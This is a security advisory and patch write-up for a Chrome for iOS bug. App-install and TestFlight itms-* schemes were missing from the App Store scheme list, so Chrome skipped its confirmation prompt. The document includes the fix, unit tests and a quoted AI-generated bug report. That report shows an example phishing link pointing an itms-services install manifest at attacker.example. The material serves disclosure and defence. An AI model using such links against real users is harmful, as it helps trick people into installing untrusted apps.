CVE-2026-79105
Overview
Background
- `itms-services://?action=download-manifest`
- the iOS over-the-air install scheme, which points at a remote
.plistmanifest and starts the system flow for installing an enterprise or ad-hoc signed app. - `UrlHasAppStoreScheme`
- the Chrome for iOS helper in
ios/chrome/browser/shared/model/url/url_util.mm, used in the new unit test, that reports whether aGURLuses one of the known App Store–style schemes; Chrome uses that classification to treat such URLs specially. - Scheme set
- a lazily built static
NSSetof scheme strings (initialised in adispatch_onceblock) that serves as the allow/deny list behind this classification.
Root Cause Analysis
The patched hunk sits inside a dispatch_once block in ios/chrome/browser/shared/model/url/url_util.mm that builds and returns a static set of iTunes/App Store schemes; the enclosing function’s name is not visible in the hunk.
Before the fix the set ended at @"itms-books", @"itms-bookss", so several schemes iOS also routes to Apple store, install, or beta apps (itms-services, itms-beta, itms-betas, itms-watch, itms-watchs, itms-podcasts, itms-podcastss) were not recognised. The existing source comment (“over-inclusion costs less than under-inclusion”) shows that membership in this set triggers protective handling, so under-inclusion is the failure mode: URLs with the missing schemes were not classified as App Store URLs and skipped whatever special handling Chrome for iOS applies to that class.
The fix widens the detection list so that UrlHasAppStoreScheme returns true for these schemes, as the new UrlHasAppStoreScheme test asserts. The test also checks that https, http, and a look-alike not-itms scheme are still not matched. The diff does not show the callers of UrlHasAppStoreScheme or exactly what handling they apply.
itms-* variant not on the list was treated as an ordinary URL. The fix adds the missing variants, including the over-the-air installer scheme itms-services, to the list.Attack Path
- Victim on Chrome for iOS
The bug is iOS-only (the change is limited to
ios/chrome/...), and the user must visit or be sent to attacker-controlled web content. - Page navigates to an unlisted scheme
The page triggers a navigation or link to a URL such as
itms-services://?action=download-manifest&url=...or anitms-beta://TestFlight link, schemes that pre-patch were missing from the set. - Classification check misses
UrlHasAppStoreSchemereturned false for these URLs, so Chrome did not apply its App Store–scheme handling to them (the specific handling, such as a prompt or block, is (inferred) because callers are not in the diff). - Hand-off to the iOS system app The URL could be passed to iOS with fewer safeguards than intended, for example starting the enterprise app-install or TestFlight flow from a web page (inferred); iOS still shows its own system confirmations for installation.
Impact Assessment
itms-* links as ordinary external URLs and so bypass the special handling Chrome reserves for App Store schemes. The most serious case is itms-services, which could help social-engineer installation of an enterprise or ad-hoc signed app (inferred), though iOS-level prompts and profile trust still apply. The vendor advisory rates this low severity and does not report in-the-wild exploitation; NVD scores it CVSS 4.3. The advisory states only “Improper input validation in Mobile”, with no severity or in-the-wild status given.Changed Functions
| Function | Change | Notes |
|---|---|---|
TEST_Fios/chrome/browser/shared/model/url/url_util_unittest.mm |
modified |
Files Changed
ios/chrome/browser/shared/model/url/url_util.mmios/chrome/browser/shared/model/url/url_util_unittest.mm
Audit Directions
- Hard-coded external-scheme listsReview other iOS and Android scheme lists (external-app launching, download handling, “open in app” prompts) for vendor scheme families with
s-suffixed or product-specific variants that the list misses; prefer prefix- or family-based matching where the platform allows it. - Fail-open classificationFind places where a URL that is not on a list is treated as safe by default, and check whether unknown custom schemes should instead get the stricter path (a prompt or block).
- Installer and side-load schemesCheck that schemes which start system installation or configuration flows (
itms-services, profile or MDM installers, TestFlight) always need explicit user confirmation in Chrome before they are handed to the OS.
Patch
From 653351b609c94f29f39dd9e1e05c1b09d7c8fcdd Mon Sep 17 00:00:00 2001
From: Olivier Robin <olivierrobin@google.com>
Date: Fri, 10 Jul 2026 08:59:09 -0700
Subject: [PATCH] Update itms schemes
Add more schemes to detect itunes URLs.
Fixed: 533046298
Change-Id: I265601aec99a82736f96a422298f864c7ecec41b
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8065232
Auto-Submit: Olivier Robin <olivierrobin@chromium.org>
Reviewed-by: Quentin Pubert <qpubert@google.com>
Reviewed-by: Gauthier Ambard <gambard@chromium.org>
Commit-Queue: Quentin Pubert <qpubert@google.com>
Cr-Commit-Position: refs/heads/main@{#1660315}
---
diff --git a/ios/chrome/browser/shared/model/url/url_util.mm b/ios/chrome/browser/shared/model/url/url_util.mm
index 7d7c4f08..fa16702 100644
--- a/ios/chrome/browser/shared/model/url/url_util.mm
+++ b/ios/chrome/browser/shared/model/url/url_util.mm
@@ -124,7 +124,10 @@
// There's no evidence that itms-bookss is actually
// supported, but over-inclusion costs less than
// under-inclusion.
- @"itms-books", @"itms-bookss", nil];
+ @"itms-books", @"itms-bookss", @"itms-services",
+ @"itms-beta", @"itms-betas", @"itms-watch",
+ @"itms-watchs", @"itms-podcasts", @"itms-podcastss",
+ nil];
});
return schemes;
}
diff --git a/ios/chrome/browser/shared/model/url/url_util_unittest.mm b/ios/chrome/browser/shared/model/url/url_util_unittest.mm
index 4fdad2b..0f77d9b7 100644
--- a/ios/chrome/browser/shared/model/url/url_util_unittest.mm
+++ b/ios/chrome/browser/shared/model/url/url_util_unittest.mm
@@ -89,4 +89,40 @@
EXPECT_TRUE([schemes containsObject:unittestScheme]);
}
+TEST_F(ChromeURLUtilTest, UrlHasAppStoreScheme) {
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms://itunes.apple.com/us/app/appname/id123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itmss://itunes.apple.com/us/app/appname/id123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms-apps://itunes.apple.com/us/app/appname/id123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms-appss://itunes.apple.com/us/app/appname/id123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms-books://itunes.apple.com/us/app/appname/id123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms-bookss://itunes.apple.com/us/app/appname/id123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms-services://?action=download-manifest&url=https://example.com/"
+ "app.plist")));
+ EXPECT_TRUE(
+ UrlHasAppStoreScheme(GURL("itms-beta://testflight.apple.com/join/123")));
+ EXPECT_TRUE(
+ UrlHasAppStoreScheme(GURL("itms-betas://testflight.apple.com/join/123")));
+ EXPECT_TRUE(
+ UrlHasAppStoreScheme(GURL("itms-watch://testflight.apple.com/join/123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms-watchs://testflight.apple.com/join/123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms-podcasts://testflight.apple.com/join/123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms-podcastss://testflight.apple.com/join/123")));
+
+ EXPECT_FALSE(UrlHasAppStoreScheme(
+ GURL("https://itunes.apple.com/us/app/appname/id123")));
+ EXPECT_FALSE(UrlHasAppStoreScheme(
+ GURL("http://itunes.apple.com/us/app/appname/id123")));
+ EXPECT_FALSE(UrlHasAppStoreScheme(GURL("not-itms://foo")));
+}
+
} // namespace
Regression Test / PoC
diff --git a/ios/chrome/browser/shared/model/url/url_util_unittest.mm b/ios/chrome/browser/shared/model/url/url_util_unittest.mm
index 4fdad2b..0f77d9b7 100644
--- a/ios/chrome/browser/shared/model/url/url_util_unittest.mm
+++ b/ios/chrome/browser/shared/model/url/url_util_unittest.mm
@@ -89,4 +89,40 @@
EXPECT_TRUE([schemes containsObject:unittestScheme]);
}
+TEST_F(ChromeURLUtilTest, UrlHasAppStoreScheme) {
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms://itunes.apple.com/us/app/appname/id123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itmss://itunes.apple.com/us/app/appname/id123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms-apps://itunes.apple.com/us/app/appname/id123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms-appss://itunes.apple.com/us/app/appname/id123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms-books://itunes.apple.com/us/app/appname/id123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms-bookss://itunes.apple.com/us/app/appname/id123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms-services://?action=download-manifest&url=https://example.com/"
+ "app.plist")));
+ EXPECT_TRUE(
+ UrlHasAppStoreScheme(GURL("itms-beta://testflight.apple.com/join/123")));
+ EXPECT_TRUE(
+ UrlHasAppStoreScheme(GURL("itms-betas://testflight.apple.com/join/123")));
+ EXPECT_TRUE(
+ UrlHasAppStoreScheme(GURL("itms-watch://testflight.apple.com/join/123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms-watchs://testflight.apple.com/join/123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms-podcasts://testflight.apple.com/join/123")));
+ EXPECT_TRUE(UrlHasAppStoreScheme(
+ GURL("itms-podcastss://testflight.apple.com/join/123")));
+
+ EXPECT_FALSE(UrlHasAppStoreScheme(
+ GURL("https://itunes.apple.com/us/app/appname/id123")));
+ EXPECT_FALSE(UrlHasAppStoreScheme(
+ GURL("http://itunes.apple.com/us/app/appname/id123")));
+ EXPECT_FALSE(UrlHasAppStoreScheme(GURL("not-itms://foo")));
+}
+
} // namespace
Original Bug Report
Potential bypass of app-launch confirmation for iOS app-install/TestFlight schemes
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: Chrome for iOS’s AppLauncherTabHelper can potentially fail to show a confirmation dialog when a user taps on link URLs using specific App-Store-related schemes such as itms-services or itms-beta. Because these schemes are omitted from the browser’s App Store scheme list, Chrome bypasses the confirmation overlay and directly hands the request to the iOS system. This allows an attacker to trigger native OS enterprise installation or TestFlight prompts without Chrome’s warning overlay.
Affected files:
ios/chrome/browser/shared/model/url/url_util.mmios/chrome/browser/app_launcher/model/app_launcher_tab_helper.mm
Estimated timestamp from git blame: 2017-05-17
Potential iOS App-Launch Confirmation Bypass for itms-services and itms-beta Schemes
Summary
Chrome’s external application launcher on iOS (AppLauncherTabHelper) requires a Chrome-side confirmation prompt before opening native App Store links to prevent unauthorized app installations or user-workflow disruption. However, the allowlist of App Store-family schemes in GetItmsSchemes() is incomplete. It omits several sibling schemes registerable by iOS system apps, including itms-services (used for OTA enterprise IPA installations) and itms-beta/itms-betas (used for TestFlight pre-release invites). When a user taps a link with these schemes, Chrome potentially bypasses its internal confirmation overlay and immediately forwards the launch request to iOS, triggering native system sheets directly.
Root Cause Analysis
In ios/chrome/browser/app_launcher/model/app_launcher_tab_helper.mm (lines 164-167), Chrome evaluates whether to show a confirmation overlay before launching an external application:
// Show the a dialog for app store launches and external URL navigations that
// did not originate from a link tap.
if (UrlHasAppStoreScheme(url) || !link_transition) {
ShowAppLaunchAlert(AppLauncherAlertCause::kOther, url);
return;
}
If the target URL has an App Store scheme (e.g., itms-apps://), Chrome always intercepts the navigation with a warning overlay, even if it originated from a genuine link tap (link_transition == true).
However, the scheme check in ios/chrome/browser/shared/model/url/url_util.mm (lines 118-130) is restricted to a hardcoded set:
NSSet<NSString*>* GetItmsSchemes() {
static NSSet<NSString*>* schemes;
static dispatch_once_t once;
dispatch_once(&once, ^{
schemes = [NSSet<NSString*>
setWithObjects:@"itms", @"itmss", @"itms-apps", @"itms-appss",
// There's no evidence that itms-bookss is actually
// supported, but over-inclusion costs less than
// under-inclusion.
@"itms-books", @"itms-bookss", nil];
});
return schemes;
}
Because this set lacks schemes like itms-services and itms-beta, UrlHasAppStoreScheme evaluates to false for them. If a user taps on such a link, the check (UrlHasAppStoreScheme(url) || !link_transition) is bypassed (evaluates to false), allowing Chrome to skip the warning overlay and directly delegate the app-opening process to iOS via [[UIApplication sharedApplication] openURL:...].
Potential Exploit / Trigger Steps
Please note: Since our tooling does not currently support code execution or live device testing, these steps represent a potential/theoretical sequence based on static analysis of the codebase.
- An attacker serves a web page containing a link targeted at an enterprise application installer:
<a href="itms-services://?action=download-manifest&url=https://attacker.example/app.plist">Click here to proceed</a> - The user taps this link inside Chrome for iOS.
- Chrome’s policy decider Cancels the normal web navigation and schedules an external application launch request.
AppLauncherTabHelperevaluates the URL and skips the confirmation overlay because the scheme is omitted fromGetItmsSchemes().- Chrome immediately initiates the launch via
openURL:. - The iOS operating system handles the request, immediately surfacing its native system enterprise-install prompt over Chrome’s browser interface while the Omnibox still displays the attacker page’s origin.
Security Impact
This is a low-severity policy bypass and origin-attribution/phishing-class issue. It allows malicious web content to trigger OS-level installation or beta-testing prompts on a single tap without Chrome’s security-warning dialog. While iOS still presents its native system confirmation sheet before any application is installed (capping the direct risk of malware installation), this bug removes one of the two intended warning layers and allows the attacker to frame the OS install dialog under their origin context.
Suggested Fix
Update GetItmsSchemes() in ios/chrome/browser/shared/model/url/url_util.mm to include the missing App Store-related system installer and service schemes:
NSSet<NSString*>* GetItmsSchemes() {
static NSSet<NSString*>* schemes;
static dispatch_once_t once;
dispatch_once(&once, ^{
schemes = [NSSet<NSString*>
setWithObjects:@"itms", @"itmss", @"itms-apps", @"itms-appss",
@"itms-books", @"itms-bookss",
@"itms-services", @"itms-beta", @"itms-betas",
@"itms-watch", @"itms-watchs",
@"itms-podcasts", @"itms-podcastss", nil];
});
return schemes;
}
Evaluated with Chrome root at commit: 84065d9121f6e48f67755f0ae963cc09617e5c85
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there’s no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.